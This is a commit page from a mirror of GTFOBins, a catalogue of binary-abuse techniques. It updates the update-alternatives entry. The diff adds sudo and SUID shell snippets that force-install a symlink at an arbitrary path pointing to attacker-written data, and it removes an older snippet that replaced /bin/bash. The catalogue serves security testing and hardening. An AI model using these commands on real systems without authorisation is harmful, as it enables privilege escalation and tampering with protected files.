public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-24 13:59:17 +01:00
Code Issues Projects Releases Wiki Activity

Improve update-alternatives

Browse Source
This commit is contained in:
Andrea Cardaci 2020-11-17 18:51:32 +01:00
parent e212f23455
commit 22899a5159
1 changed files with 12 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
_gtfobins/update-alternatives.md
View File

@ -1,8 +1,17 @@
---
functions:
sudo:
- description: Replace existing binary with symlink pointing to user supplied binary
- description: Write in `$LFILE` a symlink to `$TF`.
code: |
cp file_to_replace_bash /tmp/bash
sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1
LFILE=/path/to/file_to_write
TF=$(mktemp)
echo DATA >$TF
sudo update-alternatives --force --install "$LFILE" x "$TF" 0
suid:
- description: Write in `$LFILE` a symlink to `$TF`.
code: |
LFILE=/path/to/file_to_write
TF=$(mktemp)
echo DATA >$TF
./update-alternatives --force --install "$LFILE" x "$TF" 0
---